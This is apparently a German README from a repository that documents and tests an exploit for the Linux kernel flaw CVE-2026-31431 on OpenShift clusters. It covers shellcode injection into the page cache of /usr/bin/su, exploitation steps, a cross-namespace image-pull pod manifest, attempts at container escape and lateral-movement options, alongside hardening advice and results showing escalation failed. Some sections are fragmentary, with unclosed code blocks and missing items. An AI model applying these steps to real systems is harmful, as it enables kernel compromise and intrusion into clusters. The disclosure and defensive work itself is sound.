### Aus lokaler Datei```bash
python3 exploit.py
su

**Page-Cache-Verifizierung (bestätigt Korruption):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

**Fazit:** Die Beschädigung des Page-Cache gelingt, aber die Privilegieneskalation schlägt fehl.

## Technische Details

### Schwachstelle

Die Implementierung von `authencesn` (Authenticated Encryption with Associated Data – Extended Sequence Number) im Linux-Kernel weist einen Fehler bei der Verarbeitung von In-Place-Operationen auf. Bei der Verarbeitung von AEAD-Operationen, die über einen AF_ALG-Socket übermittelt werden, kann eine Page-Cache-Seite in der beschreibbaren Ziel-Scatterlist des Kernels landen.

### Ausnutzungstechnik

1. **AF_ALG-Socket erstellen** mit `authencesn(hmac(sha256),cbc(aes))`
2. **AEAD-Parameter konfigurieren** (Schlüssel, Authsize)
3. **Ziel-Setuid-Binärdatei öffnen** (z. B. `/usr/bin/su`)
4. **splice() verwenden**, um die Binärdatei in den Page-Cache zu bringen
5. **In-Place-AEAD-Operation auslösen**, die einen Schreibvorgang in den Page-Cache verursacht
6. **Shellcode schreiben**, 4 Bytes auf einmal
7. **Modifizierte Binärdatei ausführen**, um Root-Zugriff zu erlangen

### Shellcode

Der Exploit verwendet einen 160-Byte-Shellcode, der `/usr/bin/su` so patcht, dass er:
- Die Passwortauthentifizierung überspringt
- Root-Shell-Zugriff gewährt
- Die normale Funktionalität für nicht privilegierte Benutzer beibehält

## Python-3.9-Kompatibilität

Python 3.9 und frühere Versionen haben kein `os.splice()` in der Standardbibliothek. Dieser Exploit enthält eine Implementierung auf Basis von ctypes:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

### Testumgebung 2: Frischer OpenShift-Cluster (Verifikationstest)

**Cluster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Knotenkonfiguration:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (identisch mit Test 1)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (verifiziert)
- UID: 1000810000 (Benutzer-Namespace)
- Capabilities: 0x0000000000000000 (NULL)

**Testergebnisse:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

Ergebnis: ✅ **Container-Ausbruch** – modifiziert den Host-Seitencache (Device 33, Inode 4288)

**Szenario B: Restricted-v2 SCC (ohne hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

### Phase 1: Umgehung der Namespace-Isolation

**Schwachstelle:** Die interne OpenShift-Registry erlaubt Image-Pulls über Namespace-Grenzen hinweg ohne ordnungsgemäße RBAC-Durchsetzung.

**Ausnutzung:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

**Ergebnis:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...

**Container-Betriebssystemdetails:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)

**Möglichkeiten der lateralen Bewegung:**
- ✅ Voller Internetzugriff (Herunterladen von Tools, C2-Kommunikation, Exfiltration)
- ✅ Interner API-Zugriff (Aufzählung von Cluster-Ressourcen)
- ✅ Interner Registry-Zugriff (Image-Poisoning-Angriffe)
- ✅ Knotenübergreifendes Scannen über das Pod-Netzwerk

### Blockierte Host-Escape-Techniken

Diese Techniken wurden versucht, aber durch OpenShift-Sicherheitskontrollen blockiert:

**1. nsenter (User-Namespace verhindert)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted

**3. Laden von Kernel-Modulen (Keine Capabilities + RHCOS-Härtung)**
- Keine `insmod`-, `modprobe`-, `kmod`-Binärdateien auf RHCOS
- `/lib/modules` ist leer (containeroptimiertes Betriebssystem)
- `CAP_SYS_MODULE` nicht verfügbar
- `/proc/sys/kernel/modprobe` schreibgeschützt eingehängt

**4. cgroup release_agent (Schreibgeschützt eingehängt)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)

### Was wir tatsächlich erreicht haben

✅ **Namespace-Isolations-Bypass**
- Image-Pull über Namespace-Grenzen hinweg aus internem Registry
- Zugriff auf privilegierte Container-Images (openshift/cli)

✅ **Page-Cache-Korruption im Container**
- Modifizierter Page-Cache von `/usr/bin/su` im Container über CVE-2026-31431
- 160-Byte-Shellcode-Injektion bestätigt (im Hexdump sichtbar)
- Korruption betrifft Leseoperationen auf Container-Dateien

✅ **Netzwerkzugriff aus dem Pod**
- Volle Internetkonnektivität (Exfiltration, C2, Tool-Download)
- Interner API-Server-Zugriff (durch RBAC eingeschränkt)
- Interner Registry-Zugriff (Potenzial für Image-Poisoning)
- Cross-Pod-Scanning über das Pod-Netzwerk

❌ **Privilege Escalation - FEHLGESCHLAGEN**
- Page-Cache korrupt, aber KEIN Root-Zugriff erreicht
- UID bleibt unverändert (User-Namespace-UID ~1000000+)
- Keine Ausführung privilegierter Operationen möglich
- Kein Zugriff auf /etc/shadow oder andere eingeschränkte Dateien

❌ **Host-Dateisystem-Zugriff - FEHLGESCHLAGEN**
- `/proc/1/root` zeigt auf das **Container**-Root, NICHT auf den Host
- Kein tatsächlicher Zugriff auf das Dateisystem des OpenShift-Worker-Nodes
- Skripte im `/tmp` des Containers bereitgestellt, nicht im `/tmp` des Hosts
- Geräte-/Inode-Isolation verhindert Zugriff auf den Host-Page-Cache

❌ **Vollständiger Host-Escape - BLOCKIERT**
- User-Namespace-Isolation wirksam
- Null Capabilities verhindern nsenter/chroot/Host-Zugriff
- SCC blockiert die Erstellung privilegierter Pods
- RHCOS-Härtung verhindert Modul-Laden
- Restricted-v2 verhindert Container-Escape

### OpenShift-Sicherheitsbewertung

**Kontrollen, die funktioniert haben ✅**
- Security Context Constraints (SCC) - Verhinderte Container-Escape
- User Namespaces - Isolierten Page-Cache auf Container-Overlay
- Null Capabilities - Verhinderten Host-Zugriff trotz Kernel-Exploit
- SELinux-Erzwingung - Container-Isolation aufrechterhalten
- Schreibgeschütztes /proc/sys - Blockierte Kernel-Manipulationsversuche
- RHCOS-Härtung - Keine Modul-Lade-Fähigkeit

**Kontrollen, die teilweise funktioniert haben ⚠️**
- Seccomp RuntimeDefault - Aktiv, erlaubt aber AF_ALG-Sockets
- Capability-Dropping - Wirksam, verhindert aber keine Page-Cache-Korruption

**Kontrollen, die versagt haben ❌**
- Namespace-RBAC - Cross-Namespace-Image-Pull erlaubt
- Kernel-Schutz - AF_ALG-Schnittstelle aus Containern zugänglich
- Syscall-Filterung - splice() durch Standard-Seccomp nicht eingeschränkt

**Gesamtbewertung:**
Obwohl CVE-2026-31431 eine echte Kernel-Schwachstelle ist, verhinderte OpenShifts Defense-in-Depth-Ansatz (SCC + User Namespaces + Capability-Dropping + Dateisystem-Isolation) eine sinnvolle Ausnutzung. Der Exploit korrumpiert den Page-Cache, erreicht aber KEINE Privilege Escalation oder Container-Escape aus Restricted-v2-Pods.

### Empfehlungen für OpenShift

**1. AF_ALG-Sockets blockieren**```yaml
securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/no-af-alg.json

**3. Erweitertes Seccomp-Profil**
Gefährliche Syscalls blockieren:
- `socket(AF_ALG, ...)` - Familie 38
- `splice()` auf vertrauenswürdige Dateideskriptoren beschränken
- `init_module`, `finit_module` blockieren, falls nicht bereits blockiert

**4. Laufzeitüberwachung**
Warnungen bei:
- AF_ALG-Socket-Erstellung in Containern
- Image-Pulls über Namespaces hinweg
- Verdächtigen `splice()`-Syscall-Mustern
- Indikatoren für kompromittierte Container (unerwartete Root-Prozesse)

### Vollständige Angriffsdokumentation

Für die vollständige Dokumentation der Angriffskette, einschließlich:
- Zeitplan der Ausnutzung
- MITRE-ATT&CK-Zuordnungen
- Detaillierte technische Analyse
- Alle Aufklärungsskripte

Siehe:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - Detaillierte Analyse, was funktioniert hat und was nicht
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - Ursprüngliche Dokumentation (enthält Fehler, siehe attacks/README.md für Korrekturen)

## Gegenmaßnahmen

### Sofort```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

### Kernel-Patch

Wenden Sie Hersteller-Patches an:
- Red Hat: Überwachen Sie https://access.redhat.com/security/cve/cve-2026-31431
- Ubuntu: `apt update && apt upgrade linux-image-*`
- Upstream: Kernel 6.x+ mit auf Out-of-Place-Operationen zurückgesetztem authencesn

## Häufig gestellte Fragen

### F: Verschafft mir dieser Exploit Root-Zugriff?

**A:** NEIN – Basierend auf umfangreichen Tests mit RHEL-9.6-Kerneln (5.14.0-570.96.1) beschädigt der Exploit zwar erfolgreich den Page Cache des Kernels, erreicht aber KEINE Privilegieneskalation. Die UID bleibt nach dem Ausführen der mit Backdoor versehenen Binärdatei unverändert.

### F: Kann ich aus einem eingeschränkten Kubernetes/OpenShift-Container entkommen?

**A:** NEIN (mit restricted-v2 SCC) – Die Page-Cache-Beschädigung ist auf das Overlay-Dateisystem des Containers beschränkt. Ein Container-Ausbruch erfordert Zugriff auf gemeinsame Host-Ressourcen über hostPath oder ähnliche Volumes. Die restricted-v2 SCC verhindert einen Ausbruch effektiv, indem sie den Zugriff auf Host-Ressourcen blockiert.

### F: Warum behauptet der Exploit „root“, aber Tests zeigen, dass er nicht funktioniert?

**A:** Der Exploit-Code wurde auf Grundlage der CVE-Veröffentlichung und theoretischer Analyse geschrieben. Unsere Tests in der Praxis mit RHEL-9.6-Kerneln ergaben:
- Page-Cache-Beschädigung funktioniert ✅ (per hexdump nachgewiesen)
- Codeausführung aus beschädigtem Cache funktioniert NICHT ❌ (UID unverändert)

Dies kann folgende Ursachen haben:
- Unterschiedliche Kernel-Versionen (RHEL 9.6 könnte Schutzmechanismen enthalten)
- Durchsetzung des W^X-Speicherschutzes
- Unterschiedliche Code-Pfade für Ausführung vs. Lesen von Speicher

### F: Funktioniert es auf ALLEN Linux-Kerneln?

**A:** UNBEKANNT – Die Tests waren beschränkt auf:
- RHEL CoreOS 9.6 (Kernel 5.14.0-570.96.1.el9_6.x86_64)
- OpenShift-4.20.16-Worker-Nodes

Das Verhalten auf anderen Distributionen/Kernel-Versionen wurde NICHT verifiziert. Die ursprünglichen Bedingungen der CVE-Forschung können abweichen.

### F: Sollte ich meine Systeme trotzdem patchen?

**A:** JA – Absolut. Auch wenn keine Privilegieneskalation erreicht wurde:

1. Die Kernel-Schwachstelle IST real (Page-Cache-Beschädigung bestätigt)
2. Das Verhalten KANN auf anderen Kernel-Versionen abweichen
3. Mit hostPath-Volumes IST ein Container-Ausbruch möglich
4. Verteidigung in der Tiefe erfordert die Beseitigung aller Schwachstellen
5. Zukünftige Forschung könnte Wege zur Codeausführung finden

Das Patchen des Kernels ist für die Sicherheit verpflichtend.

### F: Was haben Sie in Ihren Tests tatsächlich bewiesen?

**A:** Unsere umfassenden Tests auf 2 unabhängigen OpenShift-Clustern bewiesen:

✅ **Bestätigt:**
- Die Kernel-Schwachstelle CVE-2026-31431 ist ausnutzbar
- Der Page Cache kann aus nicht privilegierten Containern (ohne Capabilities) beschädigt werden
- Die AF_ALG-Schnittstelle ist trotz restricted-v2 SCC zugänglich
- Die Shellcode-Injektion gelingt (im hexdump sichtbar)

❌ **Hat NICHT funktioniert:**
- Privilegieneskalation (UID unverändert)
- Codeausführung aus beschädigtem Page Cache
- Container-Ausbruch aus restricted-v2-Pods
- Zugriff auf das Host-Dateisystem ohne hostPath

🛡️ **Verteidigung in der Tiefe wirksam:**
- SCC + User Namespaces + Capability-Dropping verhinderten die Ausnutzung
- Mehrere Sicherheitsebenen begrenzten den Schadensradius
- Die Container-Isolation hielt trotz Kernel-Schwachstelle stand

## Sicherheitshinweis

Dieses Repository dokumentiert eine Kernel-Schwachstelle für:
- ✅ Autorisierte Sicherheitstests und Forschung
- ✅ Schwachstellenvalidierung und -analyse
- ✅ Sicherheitsbewusstsein und Schulung
- ✅ Entwicklung von Abwehrmaßnahmen

**Erkenntnisse basieren auf:**
- Kontrollierten Tests auf autorisierten Systemen
- Mehreren unabhängigen Cluster-Umgebungen
- Umfassender Verifizierung und Reproduzierbarkeitstests

**Nicht auf Systemen ohne ausdrückliche Autorisierung verwenden.**

## Referenzen

- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **Offenlegung:** https://copy.fail
- **Kernel-Patch:** Linux-Kernel-Commit (1. April 2026)
- **Red-Hat-Advisory:** https://access.redhat.com/security/cve/cve-2026-31431

## Danksagungen

- **CVE-Entdeckung:** Taeyang Lee (Theori)
- **Ursprüngliche Analyse:** Xint Code Research Team
- **Exploit-Implementierung:** Sean Rickerd
- **Umfassende Tests & Validierung:** Sean Rickerd
  - 2 unabhängige OpenShift-4.20.16-Cluster
  - RHEL CoreOS 9.6 Kernel 5.14.0-570.96.1
  - Dokumentiertes tatsächliches vs. behauptetes Verhalten
  - Verifizierte Wirksamkeit der restricted-v2 SCC

## Lizenz

Nur für autorisierte Sicherheitstests und Forschung. Nutzung auf eigene Gefahr.

---

**Repository-Status:** Aktualisiert mit Ergebnissen aus Tests in der Praxis (1. Mai 2026)  
**Tests:** Abgeschlossen auf 2 unabhängigen OpenShift-Clustern  
**Wichtigste Erkenntnis:** Page-Cache-Beschädigung bestätigt, Privilegieneskalation NICHT erreicht  
**Empfehlung:** Kernel patchen trotz begrenzter praktischer Ausnutzbarkeit